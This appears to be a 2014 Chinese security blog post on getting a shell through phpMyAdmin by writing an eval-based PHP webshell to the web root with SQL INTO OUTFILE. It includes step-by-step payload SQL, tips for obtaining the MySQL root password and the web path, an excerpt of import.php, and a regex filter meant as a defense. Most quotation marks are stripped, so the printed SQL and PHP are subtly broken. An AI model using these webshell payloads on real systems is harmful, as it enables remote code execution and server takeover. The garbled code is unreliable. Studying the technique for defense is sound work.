Getshell Via phpmyadmin SQL Execution To Write Evil Webshell File Into Disk

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性


2. 漏洞触发条件

1. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
    1) mysql本身默认的弱口令
    2) 通过其他漏洞(例如注入)获得了mysql的root密码
2. 已知网站的物理路径
    1) 在phpmyadmin的后台的"变量"tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
    2) 通过其他web漏洞获得网站的物理路径

通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下

----1---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(<?php @eval($_POST[cmd])?>);
select cmd from a into outfile  C:/htdocs/1.php;   
Drop TABLE IF EXISTS a;
DROP TABLE IF EXISTS `a`;
----1---

----2---
select <?php @eval($_POST[pass]);?>INTO OUTFILE d:/wamp/www/exehack.php
----2---

Relevant Link:

http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695


3. 漏洞影响范围

全部phpmyadmin版本


4. 漏洞代码分析

/phpMyAdmin/import.php

所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现

/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql) 
{
    // parse sql query
    include_once libraries/parse_analyze.inc.php;

    if (isset($ajax_reload) && $ajax_reload[reload] === true) 
    {
        $response = PMA_Response::getInstance();
        $response->addJSON(ajax_reload, $ajax_reload);
    }
    PMA_executeQueryAndSendQueryResponse(
        $analyzed_sql_results, false, $db, $table, null, $import_text, null,
        $analyzed_sql_results[is_affected], null,
        null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
        null, null
    );
} 
else if ($result) 
{
    // Save a Bookmark with more than one queries (if Bookmark label given).
    if (! empty($_POST[bkm_label]) && ! empty($import_text)) 
    {
        PMA_storeTheQueryAsBookmark(
            $db, $GLOBALS[cfg][Bookmark][user],
            $import_text, $_POST[bkm_label],
            isset($_POST[bkm_replace]) ? $_POST[bkm_replace] : null
        );
    }

    $response = PMA_Response::getInstance();
    $response->isSuccess(true);
    $response->addJSON(message, PMA_Message::success($msg));
    $response->addJSON(
        sql_query,
        PMA_Util::getMessage($msg, $sql_query, success)
    );
} 
else if ($result == false) 
{
    $response = PMA_Response::getInstance();
    $response->isSuccess(false);
    $response->addJSON(message, PMA_Message::error($msg));
} 
else 
{
    $active_page = $goto;
    include ‘‘ . $goto;
}


5. 防御方法

对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路

if(preg_match("/select.*into.*outfile/i", $import_text, $matches))
{
    echo "request error!" . "</br>" . $matches[0];
    die();
}

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。